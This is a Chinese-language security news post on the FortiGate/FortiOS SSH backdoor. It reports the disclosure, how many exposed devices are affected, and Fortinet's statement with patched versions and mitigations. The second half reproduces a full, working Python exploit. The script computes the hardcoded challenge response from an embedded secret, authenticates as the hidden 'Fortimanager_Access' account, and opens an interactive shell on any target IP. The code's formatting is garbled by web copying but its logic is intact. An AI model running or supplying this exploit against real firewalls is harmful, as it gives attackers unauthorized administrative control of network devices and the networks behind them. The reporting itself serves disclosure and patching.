昨天下午国内安全圈传出的FortiGate(飞塔防火墙)4.x-5.07版本均存在SSH后门一事,早在上周六就在国外安全网站seclists.org曝光,并于11日贴出PoC(漏洞验证代码)。
据物联网搜索引擎ZoomEye昨晚的统计,互联网上飞塔防火墙设备含有后门的比例约为13.5%,牛君在此向已经忙碌一夜和即将不眠的安全圈小伙伴致敬,大家辛苦了,安全产品不安全啊!
今日凌晨,飞塔官方紧急发出声明,称近日被公开安全问题早在14年7月被修复并给出补丁。
官方原文如下:
近日被公开的这个安全问题已经被修复,并且在2014年7月作为Fortinet代码库质量和完整性确认约定的一部分中已经给出补丁。这不是一个“后门”漏洞问题,而是认证管理问题。这个问题已经被我们的产品安全团队在常规检查和测试中发现。
经过认真的分析和调查,我们可以确认这个问题不是由于任何组织,内部或外部产生的任何恶意行为导致的。
如果您正在使用:
FortiOS v4.3.17 或任何FortiOS v4.3的更新版本 (2014年7月9日后发布的)
FortiOS v5.0.8 或任何FortiOS v5.0的更新版本 (2014年7月28日后发布的)
任何版本的 FortiOS v5.2 或v5.4
您将不会受到这个问题的影响。
强调:
1. 任何技术问题均可以致电:400-600-5255。
2. 如果用户所运行的FortiOS版本为受影响版本(不在声明中的版本覆盖范围内),我们建议用户升级/更新FortiOS版本到不受影响的版本:
FortiOS 4.3: 升级到 FortiOS 4.3.17 或更新版本
FortiOS 5.0: 升级到FortiOS 5.0.8 或更新版本
或者:
在所有接口上关闭SSH管理,只是用Web GUI替代,或者使用GUI上的console组件进行CLI接入。
如果SSH访问必须要进行,在5.0版本可以强制SSH访问只允许授权的IP地址访问,通过策略进行配置。
PoC见下:
-
#!/usr/bin/env python
-
-
# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
-
# Usage: ./fgt_ssh_backdoor.py <target-ip>
-
-
import socket
-
import select
-
import sys
-
import paramiko
-
from paramiko.py3compat import u
-
import base64
-
import hashlib
-
import termios
-
import tty
-
-
def custom_handler(title, instructions, prompt_list):
-
n = prompt_list[0][0] m = hashlib.sha1()
-
m.update(‘\x00′ * 12)
-
m.update(n + ‘FGTAbc11*xy+Qqz27′)
-
m.update(‘\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70′)
-
h = ‘AK1′ + base64.b64encode(‘\x00′ * 12 + m.digest())
-
return [h] def main():
-
if len(sys.argv) < 2:
-
print ‘Usage: ‘ + sys.argv[0] + ‘ <target-ip>’
-
exit(-1)
-
-
client = paramiko.SSHClient()
-
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
-
-
try:
-
client.connect(sys.argv[1], username=”, allow_agent=False, look_for_keys=False)
-
except paramiko.ssh_exception.SSHException:
-
pass
-
-
trans = client.get_transport()
-
try:
-
trans.auth_password(username=’Fortimanager_Access’, password=”, event=None, fallback=True)
-
except paramiko.ssh_exception.AuthenticationException:
-
pass
-
-
trans.auth_interactive(username=’Fortimanager_Access’, handler=custom_handler)
-
chan = client.invoke_shell()
-
-
oldtty = termios.tcgetattr(sys.stdin)
-
try:
-
tty.setraw(sys.stdin.fileno())
-
tty.setcbreak(sys.stdin.fileno())
-
chan.settimeout(0.0)
-
-
while True:
-
r, w, e = select.select([chan, sys.stdin], [], [])
-
if chan in r:
-
try:
-
x = u(chan.recv(1024))
-
if len(x) == 0:
-
sys.stdout.write(‘\r\n*** EOF\r\n’)
-
break
-
sys.stdout.write(x)
-
sys.stdout.flush()
-
except socket.timeout:
-
pass
-
if sys.stdin in r:
-
x = sys.stdin.read(1)
-
if len(x) == 0:
-
break
-
chan.send(x)
-
-
finally:
-
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
-
if __name__ == ‘__main__':
-
main()